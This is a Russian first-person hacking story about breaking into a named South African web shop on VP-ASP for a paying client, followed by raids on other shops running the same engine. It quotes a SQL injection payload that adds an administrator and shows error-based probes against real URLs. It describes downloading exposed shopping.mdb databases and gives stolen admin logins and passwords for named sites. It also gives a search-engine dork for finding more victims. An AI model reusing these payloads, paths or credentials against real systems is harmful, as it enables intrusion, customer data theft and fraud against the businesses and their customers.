Маленький заказ Весна была в самом разгаре. Теплые дни располагали к ежедневному круглосуточному распитию пива, и думать о работе категорически не хотелось. Вернувшись вечером домой с очередной гулянки, я обнаружил в асе сообщение от своего знакомого – предложение немного подзаработать. Прикинув незавидное финансовое положение, грядущее лето и приближающуюся сессию, я таки переборол лень и отписал товарищу: «Oк. Жду». Ждать долго не пришлось. Уже через несколько минут меня ввели в курс дела. Суть заказа была такова: клиента интересовал зарубежный шоп, располагающийся по адресу http://hoffmans.co.za. От меня требовалось предоставить БД заказов и, по возможности, онлайн-доступ к панели управления магазином. Что ж, задача обыденная, посему за работу я принялся сразу, но без особого энтузиазма. Первым делом было решено пробить ресурсы, располагающиеся на том же сервере, что и интересующий меня шоп. Умерший www.domainsdb.net не сулил ничего хорошего, поэтому я зашел на http://gibs0n.name. В поле «Host information:» вбил урл интернет-магазина, выбрал функцию «Reverse» и нажал . Результат предстал моему взору через пару секунд. Как оказалось, но сервере хостилось около сотни ресурсов, причем, подавляющее большинство доменов находилось в доменной зоне ЮАР – .za. Перебирать ресурсы вручную абсолютно не хотелось, а запускать сканер пока не имело смысла. Открыв в браузере новую вкладку, я зашел на http://hoffmans.co.za и начал изучать сайт. Шоп крутился на asp-движке под названием «VP-ASP Shopping Cart». Погуляв по гуглу, я откопал прошлогодний эксплойт на милворме – он был написан неким tracewar'ом: The SQL Injection bug is in the shopcurrency.asp file under the "cid" query. quick hack to add user a/a: /shopcurrency.asp?cid=AUD';insert into tbluser ("fldusername","fldpassword","fldaccess") values ('a','a','1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 17,18,19,20,21,22,23,24,25,26,27,28,29')-- and for those of you that don't know sql at all this is how you remove the user 'a': /shopcurrency.asp?cid=AUD';delete from tbluser where fldusername='a'-- Суть багги заключалась в простой sql-инъекции (в скрипте shopcurrency.asp), с помощью которой без труда можно было добавлять новых юзеров с правами администратора в БД. Для этого достаточно составить запрос вида: insert into tbluser ("fldusername","fldpassword","fldaccess") values ('логин','пароль','1,2,3,4,5,6,7,8,9,10,11,12,13,14, 15,16,17,18,19,20,21,22,23,24,25,26,27,28,29')-- Удалить созданного юзера можно было с помощью следующего запроса: delete from tbluser where fldusername='логин'-- Довольно улыбаясь, я вернулся к атакуемому шопу, составил sql-запрос и обновил страницу. Увы, меня ждал облом – скрипт shopcurrency.asp на сервере отсутствовал. Поразмыслив, я пришел к выводу, что имею дело с другой версией движка. Такого поворота я не ожидал, но сдаваться было еще рано. Прошерстив двиг вручную, я обнаружил пару SQL-инъектов. Первый – в скрипте поиска ShopDisplayproducts.asp: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC Microsoft Access Driver] Syntax error in query expression '( ( cname Like '%ghhj'%' OR cdescription Like '%ghhj'%' OR ccode Like '%ghhj'%' OR mfg Like '%ghhj'%' ))'. Причем, значения параметров передавались POST-методом. Второй инъект было нетрудно заметить, перейдя по линку: http://hoffmans.co.za/shopdisplayproducts.asp?id=7&subcat=16%27&cat=Other+Chicken+Portions Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression 'ccategory = 7 AND SubcategoryID=16' Order By specialOffer DESC, cname'. Из текста сообщения об ошибке стало понятно, что двиг использует Microsoft Access, а значит, с реализацией инъекта будут проблемы. В такой ситуации я решил на время отложить обе баги и просканировать ресурс на наличие открытых для чтения директорий и доступных для скачивания файлов .mdb. Набросав небольшой файлик с интересующими меня названиями каталогов/файлов, я запустил сканер с удаленного сервера, а затем удалился восвояси. Вернувшись в Сеть через несколько часов, я обнаружил, что сканирование успешно завершено. Я проанализировал лог и выбрал из него всего одну строчку: http://hoffmans.co.za/shopping.mdb Вбив урл в адресной строке и перейдя по нему, я успешно слил увесистый файлик shopping.mdb, а затем принялся изучать его содержимое. Прежде всего, меня интересовала таблица «tblUser», в которой оказалось две полезные для меня записи: fldUserName fldPassword fldAccess mike sweet 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 miki sweet 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 Как видно из БД, в шопе использовалось два админских аккаунта с одинаковым пассом и уровнем доступа. Кстати, поле «fldAccess» характеризовало возможные действия (права) пользователя: 1. shopa_displayorders.asp - Display orders 2. shopa_editdisplay.asp?table=categories - View/Update Categories 3. shopa_editdisplay.asp?table=products - View/Update Products 4. shopa_editdisplay.asp?table=mycompany - View/Update Your Company Information 5. shopa_editdisplay.asp?table=customers - View/Update Customers 6. shopa_editdisplay.asp?table=ProdFeatures - View/Update Product Features 7. shopa_editdisplay.asp?table=subcategories - View/Update Subcategories 8. shopa_editdisplay.asp?table=orders - View/Update Orders 9. shopa_query.asp - Advanced Query 10. shopa_user_control.asp - Add/Delete Users 11. shopa_menu_control.asp - Menus for administrators 12. shopa_loghist.asp - View Login history 13. shopa_editdisplay.asp?table=shipmethods - View/Update Shipping 14. shopa_reports.asp - Sales Reports by Date 15. shopa_stock.asp - Stock Low Reports 16. shopa_searchreports.asp - Display search keywords 17. shopa_affreports.asp - Affiliate Reports 18. shopa_editdisplay.asp?table=affiliates - View/Update Affiliates К счастью, у обоих админов никаких ограничений в правах не стояло, чем я и воспользовался :). Админка располагалась по адресу: http://hoffmans.co.za/shopadmin.asp Выбрав из БД первый аккаунт – mike:sweet, я успешно залогинился в панели управления интернет-магазином. В широком списке разделов меню особенно порадовала заботливо созданная возможность бэкапа данных и просмотра информации о заказах. Впрочем, весь файл базы был уже у меня на винте, так что ковыряние в админке представляло чисто спортивный интерес. Дождавшись заказчика, я передал ему базу совместно с админскими аккаунтами и получил обещанный гонорар. Казалось, работа сделана и можно спокойно отдыхать. Однако, все самое интересное было впереди! Массовый грабеж После того, как достаточно простым способом я поимел шоп http://hoffmans.co.za, мне пришла в голову идея поискать интернет-магазы на таком же движке. Несмотря на то, что запрос в Гугле вида: inurl:shopping + filetype:mdb в целом, не дал положительного результата, я все же отрыл несколько аналогичных шопов. В качестве примера можно привести ресурс www.marzoinc.com. Двиг располагался в каталоге /shopping и путь до базы выглядел так: www.marzoinc.com/shopping/shopping.mdb Выдрав админский аккаунт «marzoadmin:123mzo», я без труда залогинился в панели, но ничего интересного для себя не нашел. Похожая ситуация произошла и с шопом www.pinstripepromo.com (если не считать, что двиг был залит в каталог /gobain). Слив БД с сервера www.pinstripepromo.com/gobain/shopping.mdb, я тихо удалился с места происшествия. Это далеко не весь перечень сайтов, на которых стояла бажная версия шопа. Выкладывать все адреса на блюдечке я не стану, кто ищет – тот найдет. Несмотря на то, что версия движка на разграбленных шопах была далеко не последней, они все функционировали и имели свои небольшие БД со всякими вкусностями. Так что – делай выводы.
|